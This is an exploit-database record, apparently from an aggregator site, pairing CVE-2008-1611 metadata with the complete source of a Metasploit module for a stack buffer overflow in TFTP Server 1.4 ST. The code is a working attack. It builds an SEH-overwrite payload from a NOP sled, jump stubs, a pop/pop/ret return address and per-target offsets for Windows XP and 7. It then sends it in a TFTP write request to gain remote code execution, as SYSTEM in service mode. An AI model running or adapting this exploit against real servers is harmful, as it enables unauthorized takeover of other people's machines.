{"exploit":{"id":"EDB-18759","name":"TFTP Server 1.4 - ST WRQ Buffer Overflow (Metasploit)","description":"TFTP Server 1.4 - ST WRQ Buffer Overflow (Metasploit)","cves":["CVE-2008-1611"],"author":"Metasploit","published":"2012-04-20","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/18759","path":"exploits/windows/remote/18759.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-18759.rb","vulnerabilities":[{"id":"CVE-2008-1611","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in TFTP Server SP 1.4 for Windows allows remote attackers to cause a denial of service or execute arbitrary code via a long filename in a read or write request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-1611","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-1611"},"updatedAt":"2024-08-07T08:24:42.931Z","retrievedAt":"2026-11-27T01:08:15.037Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-18759.png?v=2","url":"https://exploitbin.com/exploits/EDB-18759","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-18759/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-18759/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n#   http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\n\tRank = NormalRanking\n\tinclude Msf::Exploit::Remote::Udp\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'            => 'TFTP Server for Windows 1.4 ST WRQ Buffer Overflow',\n\t\t\t'Description'     => %q{\n\t\t\t\t\tThis module exploits a vulnerability found in TFTP Server 1.4 ST.  The flaw\n\t\t\t\tis due to the way TFTP handles the filename parameter extracted from a WRQ request.\n\t\t\t\tThe server will append the user-supplied filename to TFTP server binary's path\n\t\t\t\twithout any bounds checking, and then attempt to open this with a fopen(). Since\n\t\t\t\tthis isn't a valid file path, fopen() returns null, which allows the corrupted\n\t\t\t\tdata to be used in a strcmp() function, causing an access violation.\n\n\t\t\t\tSince the offset is sensitive to how the TFTP server is launched, you must know\n\t\t\t\tin advance if your victim machine launched the TFTP as a 'Service' or 'Standalone'\n\t\t\t\t, and then manually select your target accordingly. A successful attempt will lead\n\t\t\t\tto remote code execution under the context of SYSTEM if run as a service, or\n\t\t\t\tthe user if run as a standalone. A failed attempt will result a denial-of-service.\n\t\t\t},\n\t\t\t'Author'          =>\n\t\t\t\t[\n\t\t\t\t\t'Mati Aharoni', #Initial discovery, PoC\n\t\t\t\t\t'Datacut'       #Metasploit\n\t\t\t\t],\n\t\t\t'References'      =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2008-1611' ],\n\t\t\t\t\t[ 'OSVDB', '43785' ],\n\t\t\t\t\t[ 'BID', '18345' ],\n\t\t\t\t\t[ 'EDB', '5314' ]\n\t\t\t\t],\n\t\t\t'DefaultOptions'  =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' =>'seh',\n\t\t\t\t},\n\t\t\t'Payload'         =>\n\t\t\t\t{\n\t\t\t\t\t'Space'           => 600,\n\t\t\t\t\t'BadChars'        => \"\\x00\\x2f\",\n\t\t\t\t\t'StackAdjustment' => -3500\n\t\t\t\t},\n\t\t\t'Platform'        => 'win',\n\t\t\t'Targets'         =>\n\t\t\t\t[\n\t\t\t\t\t# datacut tested ok 19/04/12 on xp sp2 sp3, win 7 sp0 sp1.\n\t\t\t\t\t# possible may work for other service packs and or vista\n\t\t\t\t\t# Rets = P/P/R from tftpserversp.exe\n\t\t\t\t\t[ 'Windows XP SP2/SP3 EN Service Mode',       { 'Ret' => 0x416801 , 'Offset' => 1203} ],\n\t\t\t\t\t[ 'Windows XP SP2/SP3 EN Standalone Mode',    { 'Ret' => 0x416801 , 'Offset' => 1487} ],\n\t\t\t\t\t[ 'Windows 7 SP0/SP1 EN x64 Service Mode',    { 'Ret' => 0x416801 , 'Offset' => 1217} ],\n\t\t\t\t\t[ 'Windows 7 SP0/SP1 EN x64 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1501} ],\n\t\t\t\t\t[ 'Windows 7 SP0/SP1 EN x86 Service Mode',    { 'Ret' => 0x416801 , 'Offset' => 1223} ],\n\t\t\t\t\t[ 'Windows 7 SP0/SP1 EN x86 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1507} ]\n\t\t\t\t],\n\t\t\t'Privileged'\t=> false,\n\t\t\t'DisclosureDate'=> 'Mar 26 2008',\n\t\t\t'DefaultTarget' => 4))  #TFTP is installed as a service\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::RPORT(69)\n\t\t\t], self.class)\n\tend\n\n\n\tdef exploit\n\t\tconnect_udp\n\n\t\tnops = make_nops(50)\n\t\tlead = rand_text_alphanumeric(target['Offset'] - payload.encoded.length - nops.length)\n\t\tnear = \"\\xe9\\x80\\xfd\\xff\\xff\"    #jump back 640 bytes to the nop sled\n\t\tnseh = \"\\xeb\\xf9\" + make_nops(2) #jump back 7 bytes to the long jump\n\n\t\tevil = lead + nops + payload.encoded + near + nseh + [target.ret].pack('V')\n\t\tmode = \"netascii\"\n\n\t\t#Send the WRQ packet (header \"\\x00\\x02\")\n\t\tsploit = \"\\x00\\x02\" + evil + \"\\0\" + mode +\"\\0\"\n\n\t\tudp_sock.put(sploit)\n\n\t\thandler\n\t\tdisconnect_udp\n\tend\n\nend","sha256":"61f7d5ad98381d623d03a8f2ac077d258f4419ed0eec49782ab856672cb0893d","bytes":3447,"fetchedAt":"2026-11-27T13:10:09.801Z","encoding":"utf-8 (display only; download retains original bytes)"}